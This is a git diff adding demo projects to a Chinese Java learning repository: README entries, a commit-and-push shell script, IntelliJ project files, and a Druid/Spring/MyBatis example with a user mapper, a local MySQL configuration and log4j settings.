diff --git a/README.md b/README.md
index deb373b..3f222ee 100644
--- a/README.md
+++ b/README.md
@@ -2,10 +2,22 @@
[Database-support-package]-数据库需要用到的-c3p0/dbcp/dbUtils工具支持包
+[Hibernate]利用Hibernate进行一对多的级联操作-Web实例
+
[Java_MySQL_jar]-数据库连接支持包
[JavaMail]-收发邮件支持包
+[Java_MySQL_jar]Java访问数据库需要的包
+
+[Spring]基于Spring框架的Web应用演示(附带cglib工具进行动态代理)
+
+[Tomcat7.0]Tomcat7版本安装包
+
+[UltraISO]制作U盘启动盘需要的
+
+[log4j_jar]log4j的支持包
+
[myAutoLoginWeb]过滤器Filter学习-实现用户的自动登录与IP黑名单过滤
[myBookStore]单机版的书店管理系统
@@ -16,11 +28,23 @@
[myGzipWeb]全站压缩
+[myJavaMainDemo]Java-QQ邮箱发送邮件-以及带附件
+
+[myLog4jTest]log4j使用实例-----记录日志
+
+[myMailWeb]网站注册-QQ邮箱发送激活邮箱,点击注册-实例
+
+[myOnlinesWeb]网站在线用户信息,网站访问量...
+[myOnlinesWeb2]网站在线用户信息,网站访问量以及管理员踢出用户实例
+[myWordsFilterWeb]过滤器-敏感词过滤
+[springBoot]看《Spring Boot》时的同步笔记与实例代码
+[sqlTableToExcel]将数据库表格导入excel表格需要的包
+[druid_spring_config] 【Druid】Druid监控SSM项目性能-配置与实例
diff --git a/addQQFriend.rar b/addQQFriend.rar
new file mode 100644
index 0000000..d290a7a
Binary files /dev/null and b/addQQFriend.rar differ
diff --git a/commit-to-master.sh b/commit-to-master.sh
new file mode 100644
index 0000000..ccb8ced
--- /dev/null
+++ b/commit-to-master.sh
@@ -0,0 +1,15 @@
+#!/bin/sh
+git checkout master
+git add .
+echo 请输入本次提交的注释 如输入空白字符则使用"commit"
+read -t 600 var
+#会读取一行到var变量
+if [ -z $var ];then
+echo 未输入注释 空白注释
+git commit -am "commit"
+else
+echo commit is $var
+git commit -am "$var"
+fi
+git push origin master
+sleep 15
\ No newline at end of file
diff --git a/druid_spring_config/.idea/artifacts/druid_spring_config_war_exploded.xml b/druid_spring_config/.idea/artifacts/druid_spring_config_war_exploded.xml
new file mode 100644
index 0000000..b09dce0
--- /dev/null
+++ b/druid_spring_config/.idea/artifacts/druid_spring_config_war_exploded.xml
@@ -0,0 +1,44 @@
+
+
+ $PROJECT_DIR$/out/artifacts/druid_spring_config_war_exploded
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/compiler.xml b/druid_spring_config/.idea/compiler.xml
new file mode 100644
index 0000000..532ec8f
--- /dev/null
+++ b/druid_spring_config/.idea/compiler.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml b/druid_spring_config/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml
new file mode 100644
index 0000000..30ff5cb
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__com_alibaba_druid_1_1_0.xml b/druid_spring_config/.idea/libraries/Maven__com_alibaba_druid_1_1_0.xml
new file mode 100644
index 0000000..b349885
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__com_alibaba_druid_1_1_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_8_5.xml b/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_8_5.xml
new file mode 100644
index 0000000..6246e81
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_8_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_8_5.xml b/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_8_5.xml
new file mode 100644
index 0000000..1c8e0ca
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_8_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_8_5.xml b/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_8_5.xml
new file mode 100644
index 0000000..75e6312
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_8_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__commons_fileupload_commons_fileupload_1_3_2.xml b/druid_spring_config/.idea/libraries/Maven__commons_fileupload_commons_fileupload_1_3_2.xml
new file mode 100644
index 0000000..f180407
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__commons_fileupload_commons_fileupload_1_3_2.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__commons_io_commons_io_2_2.xml b/druid_spring_config/.idea/libraries/Maven__commons_io_commons_io_2_2.xml
new file mode 100644
index 0000000..f8084ec
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__commons_io_commons_io_2_2.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml b/druid_spring_config/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml
new file mode 100644
index 0000000..eab40b3
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__javax_servlet_jsp_jsp_api_2_2_1_b03.xml b/druid_spring_config/.idea/libraries/Maven__javax_servlet_jsp_jsp_api_2_2_1_b03.xml
new file mode 100644
index 0000000..7e6f6c3
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__javax_servlet_jsp_jsp_api_2_2_1_b03.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__javax_servlet_jstl_1_2.xml b/druid_spring_config/.idea/libraries/Maven__javax_servlet_jstl_1_2.xml
new file mode 100644
index 0000000..f329893
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__javax_servlet_jstl_1_2.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__javax_servlet_servlet_api_3_0_alpha_1.xml b/druid_spring_config/.idea/libraries/Maven__javax_servlet_servlet_api_3_0_alpha_1.xml
new file mode 100644
index 0000000..4783258
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__javax_servlet_servlet_api_3_0_alpha_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__log4j_log4j_1_2_12.xml b/druid_spring_config/.idea/libraries/Maven__log4j_log4j_1_2_12.xml
new file mode 100644
index 0000000..f398ab4
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__log4j_log4j_1_2_12.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__mysql_mysql_connector_java_5_1_36.xml b/druid_spring_config/.idea/libraries/Maven__mysql_mysql_connector_java_5_1_36.xml
new file mode 100644
index 0000000..a298445
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__mysql_mysql_connector_java_5_1_36.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_aspectj_aspectjrt_1_7_1.xml b/druid_spring_config/.idea/libraries/Maven__org_aspectj_aspectjrt_1_7_1.xml
new file mode 100644
index 0000000..e2462b2
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_aspectj_aspectjrt_1_7_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_aspectj_aspectjweaver_1_7_1.xml b/druid_spring_config/.idea/libraries/Maven__org_aspectj_aspectjweaver_1_7_1.xml
new file mode 100644
index 0000000..5a5a22b
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_aspectj_aspectjweaver_1_7_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_codehaus_jackson_jackson_core_asl_1_9_13.xml b/druid_spring_config/.idea/libraries/Maven__org_codehaus_jackson_jackson_core_asl_1_9_13.xml
new file mode 100644
index 0000000..98eb549
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_codehaus_jackson_jackson_core_asl_1_9_13.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_codehaus_jackson_jackson_mapper_asl_1_9_13.xml b/druid_spring_config/.idea/libraries/Maven__org_codehaus_jackson_jackson_mapper_asl_1_9_13.xml
new file mode 100644
index 0000000..77f3bad
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_codehaus_jackson_jackson_mapper_asl_1_9_13.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_mybatis_mybatis_3_3_0.xml b/druid_spring_config/.idea/libraries/Maven__org_mybatis_mybatis_3_3_0.xml
new file mode 100644
index 0000000..86720b3
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_mybatis_mybatis_3_3_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_mybatis_mybatis_spring_1_2_2.xml b/druid_spring_config/.idea/libraries/Maven__org_mybatis_mybatis_spring_1_2_2.xml
new file mode 100644
index 0000000..8828a9a
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_mybatis_mybatis_spring_1_2_2.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_projectlombok_lombok_1_16_20.xml b/druid_spring_config/.idea/libraries/Maven__org_projectlombok_lombok_1_16_20.xml
new file mode 100644
index 0000000..bcbf2ac
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_projectlombok_lombok_1_16_20.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_aop_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_aop_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..7ef1712
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_aop_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_beans_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_beans_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..ca546e9
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_beans_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_context_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_context_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..2963b01
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_context_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_context_support_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_context_support_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..cf792ac
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_context_support_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_core_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_core_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..42a85bb
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_core_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_expression_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_expression_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..2b109cd
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_expression_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_jdbc_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_jdbc_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..96a6e90
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_jdbc_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_tx_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_tx_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..b7247fc
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_tx_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_web_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_web_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..6362302
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_web_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_webmvc_4_2_3_RELEASE.xml b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_webmvc_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..6ae47bc
--- /dev/null
+++ b/druid_spring_config/.idea/libraries/Maven__org_springframework_spring_webmvc_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/misc.xml b/druid_spring_config/.idea/misc.xml
new file mode 100644
index 0000000..691fc66
--- /dev/null
+++ b/druid_spring_config/.idea/misc.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/modules.xml b/druid_spring_config/.idea/modules.xml
new file mode 100644
index 0000000..1436a16
--- /dev/null
+++ b/druid_spring_config/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/.idea/workspace.xml b/druid_spring_config/.idea/workspace.xml
new file mode 100644
index 0000000..41cf02e
--- /dev/null
+++ b/druid_spring_config/.idea/workspace.xml
@@ -0,0 +1,963 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ mappingJacksonHttpMessageConverter
+ systemId
+ sqlSessionFactory
+ jackson
+ druid
+ dataSource
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+ DEFINITION_ORDER
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Android
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1517919414526
+
+
+ 1517919414526
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ druid_spring_config:war exploded
+
+
+
+
+
+
+
+
+
+
+
+
+ Spring
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1.7
+
+
+
+
+
+
+
+
+
+
+
+ Web|druid_spring_config
+
+
+
+
+
+
+
+
+
+
+
+ 1.7
+
+
+
+
+
+
+
+
+
+
+
+ Maven: aopalliance:aopalliance:1.0
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/druid_spring_config.iml b/druid_spring_config/druid_spring_config.iml
new file mode 100644
index 0000000..7df1b35
--- /dev/null
+++ b/druid_spring_config/druid_spring_config.iml
@@ -0,0 +1,86 @@
+
+
+
+
+
+
+ file://$MODULE_DIR$/src/main/resources/spring.xml
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/META-INF/MANIFEST.MF b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..ae44e13
--- /dev/null
+++ b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/META-INF/MANIFEST.MF
@@ -0,0 +1,5 @@
+Manifest-Version: 1.0
+Built-By: Administrator
+Created-By: IntelliJ IDEA
+Build-Jdk: 1.7.0_04
+
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/controller/UserContriller.class b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/controller/UserContriller.class
new file mode 100644
index 0000000..a23923a
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/controller/UserContriller.class differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/dao/UserMapper.class b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/dao/UserMapper.class
new file mode 100644
index 0000000..dec8ac0
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/dao/UserMapper.class differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/entity/User.class b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/entity/User.class
new file mode 100644
index 0000000..5d66b1c
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/entity/User.class differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/mapping/UserMapper.xml b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/mapping/UserMapper.xml
new file mode 100644
index 0000000..7623130
--- /dev/null
+++ b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/mapping/UserMapper.xml
@@ -0,0 +1,58 @@
+
+
+
+
+
+
+
+
+ id, name
+
+
+
+ delete from user
+ where id = #{id,jdbcType=INTEGER}
+
+
+ insert into user (id, name)
+ values (#{id,jdbcType=INTEGER}, #{name,jdbcType=VARCHAR})
+
+
+ insert into user
+
+
+ id,
+
+
+ name,
+
+
+
+
+ #{id,jdbcType=INTEGER},
+
+
+ #{name,jdbcType=VARCHAR},
+
+
+
+
+ update user
+
+
+ name = #{name,jdbcType=VARCHAR},
+
+
+ where id = #{id,jdbcType=INTEGER}
+
+
+ update user
+ set name = #{name,jdbcType=VARCHAR}
+ where id = #{id,jdbcType=INTEGER}
+
+
\ No newline at end of file
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/service/UserService.class b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/service/UserService.class
new file mode 100644
index 0000000..bc1200d
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/service/UserService.class differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/service/impl/UserServiceImpl.class b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/service/impl/UserServiceImpl.class
new file mode 100644
index 0000000..af1a4ef
Binary files /dev/null and b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/com/uifuture/user/service/impl/UserServiceImpl.class differ
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/config.properties b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/config.properties
new file mode 100644
index 0000000..a13cc2e
--- /dev/null
+++ b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/config.properties
@@ -0,0 +1,14 @@
+
+# sqlԼ־
+druid_filters=stat,wall,log4j
+
+driverClassName=com.mysql.jdbc.Driver
+jdbc_url=jdbc:mysql://localhost:3306/druid_spring_config?useUnicode=true&characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull
+jdbc_username=root
+jdbc_password=1234
+#ʼӴС
+jdbc_init=50
+#ӳС
+jdbc_minIdle=20
+#ȡȴʱ λΪ
+jdbc_maxActive=60000
\ No newline at end of file
diff --git a/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/log4j.properties b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/log4j.properties
new file mode 100644
index 0000000..0a3a35f
--- /dev/null
+++ b/druid_spring_config/out/artifacts/druid_spring_config_war_exploded/WEB-INF/classes/log4j.properties
@@ -0,0 +1,69 @@
+#####配置根元素
+#调试模式,写成DEBUG ---设置日志级别-存储DEBUG以及以上级别的记录
+#log4j.rootLogger=DEBUG,console,file,error,druid
+log4j.rootLogger=INFO,console,file,error,druid
+#log4j.rootLogger=ERROR,console,file,error
+#生产级项目,写成INFO就可以了
+#INFO级别比DEBUG级别高 ---console,file,error都是自己写的-名称自己定
+
+####以下配置输出到控制台的配置####
+log4j.appender.console=org.apache.log4j.ConsoleAppender
+log4j.appender.console.layout=org.apache.log4j.PatternLayout
+log4j.appender.console.Target=System.out
+log4j.appender.console.layout.ConversionPattern=[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+
+### 输出到日志文件 ###
+log4j.appender.file=org.apache.log4j.RollingFileAppender
+#。RollingFileAppender按log文件最大长度限度生成新文件
+#以下是具体的目录
+log4j.appender.file.File=${catalina.home}/logs/druid_spring_config/info.log
+#每个文件的最大大小
+log4j.appender.file.MaxFileSize=5MB
+#最多可以是多少个文件
+log4j.appender.file.MaxBackupIndex=30
+## 输出INFO级别以上的日志 --Threshold是个全局的过滤器,它将把低于所设置的INFO的信息过滤不显示出来。
+#log4j.appender.file.Threshold=INFO
+log4j.appender.file.Threshold=DEBUG
+#服务器启动日志是追加, false:服务器启动后会生成日志文件把老的覆盖掉
+log4j.appender.file.Append = true
+#信息的布局格式-按指定的格式打出
+log4j.appender.file.layout=org.apache.log4j.PatternLayout
+#具体的布局格式 - %d为时间
+#log4j.appender.file.layout.ConversionPattern=%d %p [%c] %m %l %n
+log4j.appender.file.layout.ConversionPattern=[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+#设置输出日志文件编码(可以控制乱码情况)
+log4j.appender.file.encoding=UTF-8
+
+
+### 保存异常信息到单独文件 ###
+log4j.appender.error = org.apache.log4j.DailyRollingFileAppender
+#DailyRollingFileAppender按日期生成新文件
+## 异常日志文件名
+log4j.appender.error.File =${catalina.home}/logs/druid_spring_config/error.log
+#这个路径是Tomcat的路径
+#在每天产生的文件后面追加
+log4j.appender.error.DatePattern = '.'yyyyMMdd
+#服务器启动日志是追加,false:服务器启动后会生成日志文件把老的覆盖掉
+log4j.appender.error.Append = true
+## 只输出ERROR级别以上的日志!!!
+log4j.appender.error.Threshold = error
+log4j.appender.error.layout = org.apache.log4j.PatternLayout
+log4j.appender.error.layout.ConversionPattern =[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+#设置输出日志文件编码(可以控制乱码情况)
+log4j.appender.error.encoding=UTF-8
+
+
+# Druid 慢查询记录日志
+log4j.logger.druid.sql=WARN,druid
+log4j.logger.druid.sql.DataSource=WARN,druid
+log4j.logger.druid.sql.Connection=WARN,druid
+log4j.logger.druid.sql.Statement=WARN,druid
+
+log4j.appender.druid=org.apache.log4j.DailyRollingFileAppender
